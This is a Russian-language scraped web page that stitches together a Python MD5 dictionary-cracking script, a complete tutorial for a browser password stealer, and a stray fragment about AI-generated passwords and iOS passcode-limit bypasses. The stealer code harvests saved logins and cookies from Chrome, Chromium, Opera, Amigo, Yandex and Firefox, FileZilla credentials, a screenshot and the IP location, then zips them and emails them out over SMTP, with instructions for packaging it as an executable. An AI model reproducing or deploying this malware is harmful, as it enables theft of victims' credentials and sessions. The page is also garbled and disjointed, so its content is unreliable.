Как создать программу для взлома паролей

Инженер информационных технологий, участвующий в шифровании мира, должен знать основы взлома. Взлом – это процесс получения доступа к системе, которого у нас быть не должно.

Например, вход в учетную запись электронной почты без авторизации является частью взлома этой учетной записи. Получение доступа к компьютеру или мобильному телефону без авторизации – это взлом. Существует множество способов, которыми пользователь может взломать систему, и основная концепция взлома та же самая: взлом системы без какой-либо аутентификации.

Автор статьи не несет ответственности за использование исходного кода. Данный материал выложен исключительно для ознакомления и не побуждает к противоправным действиям. Наоборот, статья написана в помощь разработчикам, чтобы понимать как устроен хакинг и как вы можете от него защититься.

Что такое этический взлом в Python?

Этический хакинг – взлом с помощью Python не ограничивается взломом паролей или кражей данных. Он используется для сканирования уязвимостей и обнаружения потенциальных угроз в компьютерной системе или сетях. Этичные хакеры находят слабые места или лазейки в системе, приложениях или сетях и сообщают о них организации.

Как создать свою фейк программу для кражи паролей!

Существуют разные типы хакеров, вот некоторые из них:

  • Черные хакеры. Хакеры Black Hat – это люди, которые неэтично проникли на сайт для получения данных с административного портала или для манипулирования данными. В основном они делают это для получения прибыли или для получения личных данных. Их основная цель – нанести компании серьезный ущерб, а это может привести даже к опасным последствиям.
  • Белые хакеры. Это хакеры, которые ищут ошибки и сообщают о них организациям или фирмам с соблюдением этических норм. Они авторизованы как пользователи для тестирования и проверки ошибок в сетях или веб-сайтах и сообщают об этом разработчикам или уполномоченным лицам. Хакер в белой шляпе обычно получает всю необходимую информацию о веб-сайте или сетевой системе, которые они тестируют, от самой фирмы. Взломав систему с авторизацией, они могут спасти сайт от злоумышленников в будущем.
  • Серые хакеры. Эти типы хакеров получают доступ к данным веб-сайта или сети и нарушают кибер-закон. Но у них нет таких же намерений, как у хакеров Black Hat. Они взламывают систему для общего блага, но они так же отличаются от белых хакеров, поскольку они используют уязвимости публично, а хакеры в белой шляпе делают это в частном порядке для фирмы или организации.

Использование Python для программирования взлома

Язык Python широко используется для общих целей, и это язык программирования высокого уровня. Это очень простой и мощный язык сценариев с открытым исходным кодом и объектно-ориентированный.

Python имеет встроенные библиотеки, которые можно использовать для различных функций, и взлом – одна из них. Python очень популярен и пользуется большим спросом на рынке. Изучение того, как взломать с помощью Python, поможет лучше понять язык.

Генерация рандомных паролей | PYTHON

Как взламывают пароли?

Как известно, пароли веб-сайтов или файлов не хранятся в виде простого текста в базе данных веб-сайтов. В этом уроке мы собираемся взломать простой текст, защищенный паролем. В простом тексте пароли хранятся в хешированном (md5) формате.

Итак, пользователь должен взять input_hashed (который представляет собой хешированный пароль, хранящийся в базе данных), а затем он должен попытаться сравнить его с хешированием (md5) каждого простого текстового пароля, который можно найти в файле паролей.

Когда будет найдено совпадение хешированного пароля, пользователь может отобразить пароль в виде простого текста, который хранится в файле паролей. Но если пароль не найден в файле входных паролей, то будет отображаться, что «Пароль не найден», это происходит только при переполнении буфера.

Эти типы хакерских атак считаются «атаками по словарю».

import hashlib print(«# # # # # # Password Hacking # # # # # #») # to check if the password is found or not in the text file. password_found = 0 input_hashed = input(» Please enter the hashed password: «) password_document = input(» n Please enter the passwords file name including its path(root / home/): «) try: # here, we will try to open the passwords text file. password_file = open(password_document, ‘r’) except: print(«Error: «) print(password_document, «is not found.n Please enter the path of file correctly.») quit() # now, for comparing the input_hashed with the hashes of the words present in the password text file for finding the password. for word in password_file: # to encode the word into utf-8 format encoding_word = word.encode(‘utf-8’) # to Hash the word into md5 hash hashed_word = hashlib.md5(encoding_word.strip()) # to digest that the hash into the hexadecimal value digesting = hashed_word.hexdigest() if digesting == input_hashed: # to compare the hashes print(«Password found.n The required password is: «, word) password_found = 1 break # if the password is not found in the text file. if not password_found: print(» The password is not found in the «, password_document, «file») print(‘n’) print(» # # # # # # Thank you # # # # # # «)
# # # # # # Password Hacking # # # # # # Please enter the hashed password: 1f23a6ea2da3425697d6446cf3402124 Please enter the passwords file name including its path(root / home/): passwords.txt

Читайте также:
Наиболее подробной является программа статистической отчетности

Password found. The required password is: manchester123 # # # # # # Thank you # # # # # #
# # # # # # Password Hacking # # # # # # Please enter the hashed password: b24aefc835df9ff09ef4dddc4f817737 Please enter the passwords file name including its path(root / home/): passwords.txt
Password found. The required password is: heartbreaker07 # # # # # # Thank you # # # # # #

Пожалуйста, введите хешированный пароль: 33816712db4f3913ee967469fe7ee982

Введите имя файла паролей, включая путь к нему (root / home /): passwords.txt

Пароль не найден в файле passwords.txt.

В приведенном выше коде мы сначала импортировали модуль «hashlib», поскольку он содержит различные методы, которые могут обрабатывать хеширование любого необработанного сообщения в зашифрованном методе. Пользователь должен ввести хешированный пароль и местоположение текстового файла паролей.

Затем необходимо открыть текстовый файл, но если он не найден в указанном месте, выводится сообщение об ошибке «Файл не найден».

Затем мы сравниваем введенный хешированный пароль с хешированными словами, присутствующими в текстовом файле, чтобы найти правильный пароль; для этого мы должны закодировать слова в формате utf-8, а затем хешировать слова в хеш md5 и перевести хешированное слово в шестнадцатеричные значения.

Если переведенное значение равно входному хэш-паролю, он распечатает найденный пароль и его правильное значение. Но если пароль не найден, это означает, что значение не совпадает с введенным хеш-паролем. Будет напечатано «Пароль не найден».

В этом руководстве мы обсудили этический взлом в Python, а также показали пример того, как взломать пароль.

Источник: pythonpip.ru

Стиллер паролей на python с отправкой на почту

Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.

Приступим к делу

Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.

Все нужные модули

pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp

import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random

Собираем с пользователя все его данные.

################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split(‘00′)[:-1]) response = DbIpCity.get(requests.get(«https://ramziv.com/ip»).text, api_key=’free’) all_data = «Time: » + time.asctime() + ‘n’ + «Кодировка ФС: » + sys.getfilesystemencoding() + ‘n’ + «Cpu: » + platform.processor() + ‘n’ + «Система: » + platform.system() + ‘ ‘ + platform.release() + ‘nIP: ‘+requests.get(«https://ramziv.com/ip»).text+’nГород: ‘+response.city+’nGen_Location:’ + response.to_json() + ‘nДиски:’ + drives file = open(os.getenv(«APPDATA») + ‘\alldata.txt’, «w+») #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим

Собираем пароли с хрома.

################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = ‘Passwords Chrome:’ + ‘n’ text += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data’, os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: text += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ return text file = open(os.getenv(«APPDATA») + ‘\google_pass.txt’, «w+») #создаем txt с его расположением file.write(str(Chrome()) + ‘n’)#записываем данные file.close()

Собираем куки с хрома.

################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = ‘Cookies Chrome:’ + ‘n’ textc += ‘URL | COOKIE | COOKIE NAME’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies’, os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies2’) cursor = conn.cursor() cursor.execute(«SELECT * from cookies») for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ‘ | ‘ + str(cookie) + ‘ | ‘ + name + ‘n’ return textc file = open(os.getenv(«APPDATA») + ‘\google_cookies.txt’, «w+») file.write(str(Chrome_cockie()) + ‘n’) file.close()
################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = » textf +=’Firefox Cookies:’ + ‘n’ textf += ‘URL | COOKIE | COOKIE NAME’ + ‘n’ for root, dirs, files in os.walk(os.getenv(«APPDATA») + ‘\Mozilla\Firefox\Profiles’): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+’\cookies.sqlite’) cursor = conn.cursor() cursor.execute(«SELECT baseDomain, value, name FROM moz_cookies») data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ‘ | ‘ + str(cookie) + ‘ | ‘ + name + ‘n’ break return textf file = open(os.getenv(«APPDATA») + ‘\firefox_cookies.txt’, «w+») file.write(str(Firefox()) + ‘n’) file.close()

Читайте также:
Как написать программу текстовый редактор

Пароли с хромиума.

################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch =’Chromium Passwords:’ + ‘n’ textch += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Login Data’, os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Login Data2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: textch += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ return textch file = open(os.getenv(«APPDATA») + ‘\chromium.txt’, «w+») file.write(str(chromium()) + ‘n’) file.close()

Куки с хромиума.

################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = » textchc +=’Chromium Cookies:’ + ‘n’ textchc += ‘URL | COOKIE | COOKIE NAME’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Cookies’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Cookies’, os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Cookies2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Chromium\User Data\Default\Cookies2’) cursor = conn.cursor() cursor.execute(«SELECT * from cookies») for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ‘ | ‘ + str(cookie) + ‘ | ‘ + name + ‘n’ return textchc file = open(os.getenv(«APPDATA») + ‘\chromium_cookies.txt’, «w+») file.write(str(chromiumc()) + ‘n’) file.close()
################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = ‘Passwords Amigo:’ + ‘n’ textam += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Login Data’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Login Data’, os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Login Data2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: textam += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ file = open(os.getenv(«APPDATA») + ‘\amigo_pass.txt’, «w+») file.write(str(Amigo()) + ‘n’) file.close()

################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = ‘Cookies Amigo:’ + ‘n’ textamc += ‘URL | COOKIE | COOKIE NAME’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Cookies’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Cookies’, os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Cookies2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Amigo\User Data\Default\Cookies2’) cursor = conn.cursor() cursor.execute(«SELECT * from cookies») for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ‘ | ‘ + str(cookie) + ‘ | ‘ + name + ‘n’ return textamc file = open(os.getenv(«APPDATA») + ‘\amigo_cookies.txt’, «w+») file.write(str(Amigo_c()) + ‘n’) file.close()
################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = ‘Passwords Opera:’ + ‘n’ texto += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data’): shutil.copy2(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data’, os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data2’) conn = sqlite3.connect(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: texto += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ file = open(os.getenv(«APPDATA») + ‘\opera_pass.txt’, «w+») file.write(str(Opera()) + ‘n’) file.close()
################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = ‘Passwords firefox:’ + ‘n’ texto += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«APPDATA») + ‘\AppData\Roaming\Mozilla\Firefox’): shutil.copy2(os.getenv(«APPDATA») + ‘\AppData\Roaming\Mozilla\Firefox2’, os.getenv(«APPDATA») + ‘\AppData\Roaming\Mozilla\Firefox2’) conn = sqlite3.connect(os.getenv(«APPDATA») + ‘\AppData\Roaming\Mozilla\Firefox2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: texto += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ file = open(os.getenv(«APPDATA») + ‘\firefox_pass.txt’, «w+») file.write(str(Firefox_cookies()) + ‘n’) file.close()

Пароли с яндекс браузера.

################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = ‘Passwords Yandex:’ + ‘n’ textyp += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Yandex\YandexBrowser\User Data\Default\Ya Login Data.db’, os.getenv(«LOCALAPPDATA») + ‘\Yandex\YandexBrowser\User Data\Default\Ya Login Data2.db’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Yandexe\YandexBrowser\User Data\Default\Ya Login Data2.db’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: textyp += url + ‘ | ‘ + login + ‘ | ‘ + password + ‘n’ return textyp file = open(os.getenv(«APPDATA») + ‘\yandex_passwords.txt’, «w+») file.write(str(Yandexpass()) + ‘n’) file.close()
################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc =’Cookies Opera:’ + ‘n’ textoc += ‘URL | COOKIE | COOKIE NAME’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies’, os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Cookies2’) cursor = conn.cursor() cursor.execute(«SELECT * from cookies») for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ‘ | ‘ + str(cookie) + ‘ | ‘ + name + ‘n’ return textoc file = open(os.getenv(«APPDATA») + ‘\opera_cookies.txt’, «w+») file.write(str(Opera_c()) + ‘n’) file.close()

Данные с FILEZILLA.

################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = » if os.path.isfile(os.getenv(«APPDATA») + ‘\FileZilla\recentservers.xml’) is True: root = etree.parse(os.getenv(«APPDATA») + ‘\FileZilla\recentservers.xml’).getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode(‘utf-8’) data += ‘host: ‘ + host + ‘|port: ‘ + port + ‘|user: ‘ + user + ‘|pass: ‘ + password + ‘n’ return data else: return ‘Not found’ except Exception: return ‘Error’ textfz = filezilla() textfz += ‘Filezilla: ‘ + ‘n’ + filezilla() + ‘n’ file = open(os.getenv(«APPDATA») + ‘\filezilla.txt’, «w+») file.write(str(filezilla()) + ‘n’) file.close()

Читайте также:
Как отредактировать готовую программу

Делаем скриншот экрана.

################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv(«APPDATA») + ‘\sreenshot.jpg’)

Тут записываем наши тхт в один ZIP — doc.

################################################################################ # PACKING TO ZIP # ################################################################################ zname = r’C:\Users\’ + getpass.getuser() + ‘\AppData\Local\Temp\LOG.zip’ NZ = zipfile.ZipFile(zname,’w’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\firefox_pass.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\firefox_cookies.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\yandex_passwords.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\alldata.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\google_pass.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\google_cookies.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\chromium.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\chromium_cookies.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\amigo_pass.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\amigo_cookies.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\opera_pass.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\opera_cookies.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\filezilla.txt’) NZ.write(r’C:\Users\’ + getpass.getuser() + ‘\AppData\Roaming\sreenshot.jpg’) NZ.close()

Вот он наш ZIP по всеми данными.

################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = ‘C:\Users\’ + getpass.getuser() + ‘\AppData\Local\Temp\LOG.zip’
################################################################################ # ОТПРАВКА # ################################################################################ ‘↑Stealler by Andrew_Shipunov↑’.encode(‘utf-8’) msgtext = MIMEText(‘↑Stealler by Andrew_Shipunov↑’.encode(‘utf-8’), ‘plain’, ‘utf-8’) msg = MIMEMultipart() msg[‘From’] = ‘тут ваша новая почта с которой отправится’ msg[‘To’] = ‘почта на которую отправится’ msg[‘Subject’] = getpass.getuser() + ‘-PC’ msg.attach(msgtext)

Тут мы создаем вложение для нашего doc’а ZIP.

################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase(‘application’, «zip») b = open(doc, «rb»).read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header(‘Content-Transfer-Encoding’, ‘base64’) part.add_header(‘Content-Disposition’, ‘attachment; filename=»LOG.zip»‘) msg.attach(part)

Здесь мы собственно производим отправку на емаил с помощью SMTP

################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP(‘smtp.gmail.com’, 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login(‘тут ваша новая почта с которой отправится’, ‘тут пароль от новой почты’) s.sendmail(‘тут ваша новая почта с которой отправится’, ‘почта на которую отправится’, msg.as_string()) s.quit() i = input()

Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.

Весь код

Вот что в архиве.

Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.

Теперь pyinstaller —onefile название вашего файла.py, ентер.

Источник: habr.com

Полученные результаты

После каждой тысячи итераций я проводил проверку в форме выборки из 10 тысяч символов — в среднем около 900 паролей. Затем я проверил каждый выбранный пароль, находится ли он в наборе тестов или нет. Чтобы проверить производительность нашей модели, я придумалhit_ratioметрика (квазиточность).

hit_ratio = sampled_passwords_in_test_set / all_sampled_passwords

С помощью этой метрики мы можем узнать процент от того, сколько паролей, которые мы искусственно сгенерировали, были фактически использованы людьми.

После 9 эпох и 130 000 итераций обучения мы сгенерировали909пароли. Оказалось, что нам удалось правильно угадать120из них, что о13%!

Довольно аккуратно, а?

Вот несколько сгенерированных ИИ паролей, которые фактически использовались людьми.

выводы и предложения

Как вы можете видеть выше, определенно возможно создать вероятные пароли, особенно те, которые следуют шаблонам человеческого мышления и содержат дни рождения, родственников, домашних животных, интересы, места — в общем, вещи, которые как-то связаны с нами. Это просто, как обычно работает наш мозг, мы можем легко запомнить их, потому что они важны для нас.

К сожалению, довольно легко получить их с помощью таких методов, как робот-паук которые направлены на сбор информации о конкретной теме, опираясь на системы ИИ, которые обрабатывают и анализируют собранные данные

Несмотря на то, что можно генерировать все больше и больше вероятных паролей, нам обычно все еще нужно несколько попыток найти правильный. Количество необходимых попыток обычно пропорционально выполнимости списка паролей.

Некоторые из вас могут подумать, что несколько паролей могут бытьлегкообнаружено / предотвращено, и вы будете правы, но только в некоторой степени. В настоящее время большинство систем авторизации ограничивают количество попыток ввода пароля для предотвращения атак методом подбора.

Яблоко там не отличается, так выглядят их пределы.

Я дам вам краткий обзор того, как это на самом деле работает, не вдаваясь в детали реализации Каждая попытка пароля сохраняется вместе с его отметкой времени. Хотя мы превышаем

attempts / elapsed_time_from_last_attempt

квота, мы получаем блокировку, и мы должны ждать дополнительное время, чтобы повторить попытку.

Простая, но очень эффективная система, но что, если ее взломают?

В конце дня информация о последней попытке ввода пароля должна быть записана в какую-то память. Как там написано, так и можно изменить или удалить. Я не говорю, что это просто, потому что в большинстве случаев это не так, но в принципе это определенно возможно.

Вы когда-нибудь слышали о GrayKey? Это небольшая часть аппаратного обеспечения, разработанная для того, чтобы делать в точности то, что я описал выше с устройствами iOS.

Простой хак обходит ограничение на ввод кода доступа iOS, открывает двери для грубых взломов [u]

Исследователь безопасности недавно обнаружил в iOS Apple недостаток, который позволяет любому, у кого есть кабель Lightning, .

appleinsider.com

Хотя обойти ограничения на ввод пароля не так просто и дешево, это выполнимо.

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru